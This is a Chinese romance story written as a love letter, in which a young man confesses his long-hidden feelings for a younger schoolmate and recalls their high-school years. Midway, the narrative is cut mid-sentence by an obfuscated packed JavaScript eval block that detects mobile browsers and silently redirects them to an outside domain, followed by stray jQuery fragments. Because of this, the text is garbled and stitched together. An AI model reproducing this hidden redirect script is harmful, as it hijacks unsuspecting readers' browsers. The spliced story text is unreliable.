小毓老师：你好。


    在今天你去剧组上班，我去赶又一场路演的时候，我终于在休息室里看到了你昨天不愿意让我当面看到的那封信。


    两分钟前，吕导敲门进来，想告诉我还有十分钟上台，但当时我在发呆，他愣了下，问我是因为影片反响太好观众太喜欢所以喜极而泣了吗。


    我没有反驳，但其实不是的。


    我以为看到你对我的情意会让我成为这世界上最开心的人，但好像我开心得并不纯粹，比起开心，难过更多。


    那天我说要早点把喜欢告诉对方，其实是说给我自己，我在犹豫，迟疑，退缩中，让我们错过了十年。


    在那些你关注我的时间里，我也在在意你。


    我看着你的名字在高一年级的光荣榜前排奋力向上爬，坚定又执著，我看着你的考试作文和投稿每一次都能登上校报和语文组印发的学习资料，被语文老师拿来讲解，赞不绝口，我看着你在小超市里买一瓶冰可乐，非常利落地打开，喝一口，然后被气泡冲得把脸皱起一团。


    许言科问我看什么笑得这么开心，我顾不上想自己为什么会笑，只顾着拉走他——他实在太会讨女孩子欢心，我怕他发现你，也怕你认识他。


    想想也挺龌龊的，但重来一次我还是会这么做。


    但我那个时候没想过我为什么会这样做。


    网上说，这是占有欲，是喜欢的萌芽。


    什么是喜欢？


    我问许言科，他挤眉弄眼地说喜欢就是想跟对方谈恋爱，温斯年，你也终于开窍啦？


    但很可惜，我好像没有开窍，我甚至不知道恋爱是什么。


    旁观许言科的恋爱，就是突然开始给一个女孩送水送早饭，然后邀请女孩出去玩，突然开始恋爱，然后拉拉手，吵吵架，再突然和好，再突然分开。


    我不知道他为何总能沉溺其中，我也想象不出我和你因为五分钟没有回信息而吵架到分手，或者你因为我被老师叫家长，站在办公室里默默掉眼泪的情景。


    那时候我觉得我应该是不喜欢你的，而且你太小啦，低我两级，小我三岁，我光是想想拉你手的画面，都觉得我好像变态。


    我应该是只是欣赏你，我想，但我还是在每学期的全校大会时，下意识地越过人海看向你的班级，看你认真或是走神地听着校长讲些没营养的话。


    然后在你突然转过头来时，慌张撇开目光。


    那个瞬间我的心跳得特别快，快到我怀疑心脏马上要嘭地一声爆炸，然后我就会成为世界上第一个心脏自爆的人。


    我甚至悄悄去医院做过检查，想看看我是不是患上了心脏病，但是医生看完检查报告说我健康得很，让我少想着装病逃课。


    我觉得他是庸医，我明明就是病了，但只有在看到你的时候发作。


    或许是人生的前二十年过得太容易，我习惯了对一切有所预料，可以掌握，唯独对喜欢的感觉陌生而警惕，以至于我迟迟不敢确定那是喜欢。


    在我困惑的时候，保送的通知发下来了，班主任喜笑颜开，说只要在系统上确认过，我就可以不用再来学校了。


    我说，我不用来了吗？


    班主任笑着说：你都保送了还来干嘛？多影响备战高考的同学们啊。


    许言科羡慕到哭了一整晚，但我选择了放弃。


    我因此遭受了读书时代最严厉的批评，他们觉得我脑子有病，非要问我为什么放弃，我说我不能把高考状元让给别人——这话当然是编的，不过他们总算满意，只换成了隔壁几个学校的尖子生在背后骂我有病。


    其实我只是想再确定一下，那种感觉是什么。


    一直到高考结束，要毕业的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604097|166122||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时候，身边好多同学都开始大胆告白，因为别过之后很难再联系了，当时我想，或许我也该跟你说两句话，也不是告白，就是留个联系方式什么的。


    我悄悄走到你的班级门口，正是课间，大家都在聊天玩笑，而你在低头写什么东西。


    我听到有人问你：钟毓，这个周末你回家吗？


    你摇摇头，脸上的表情有些难过：这次考太差了，不回了吧。


    你写得好认真，我看了一会儿，还是觉得不该进去打扰你。


    真正开窍是在大学一年级末尾，大家在寝室夜聊，说起初恋，我当天晚上就梦见了你。


    梦见你考来了A大，我们对视的那一刻，你笑着走过来，我们非常理所当然地牵手，拥抱，甚至亲吻。


    直到被闹钟叫醒。


    我第一次怨恨早八，也第一次清楚地意识到，我喜欢你。


    我困在迷茫里太久，太迟钝，好在兜兜转转总算再遇到你。


    我以为在我们之间，主动的是我，但其实你才是坚定的那一个，我算不上什么太阳，顶多也只是颗星星，挂在和你同一片天幕下，明明灭灭，用了太久才想清楚要去哪里。


    谢谢你没有放弃这样迟钝的我，还愿意再给我一个机会。


    你的信我看到了，感谢你愿意把它带给我。


    我会珍藏到我们老去的那一天，等彼此都坐上轮椅，需要大声呼喊才能听清对方说什么时，再把这封信读给你一遍，又一遍。


    我猜你还是会红着脸打我吧，哈哈。


    没想到高中学习了你那么多作文，到最后还是写不出什么满意的文字来，想撕掉重写，但是吕导来催我上台了。没关系，反正我们来日方长，我还可以写很多封。


    最后，钟毓，你才是我的太阳。


    我爱你。


    ——温斯年。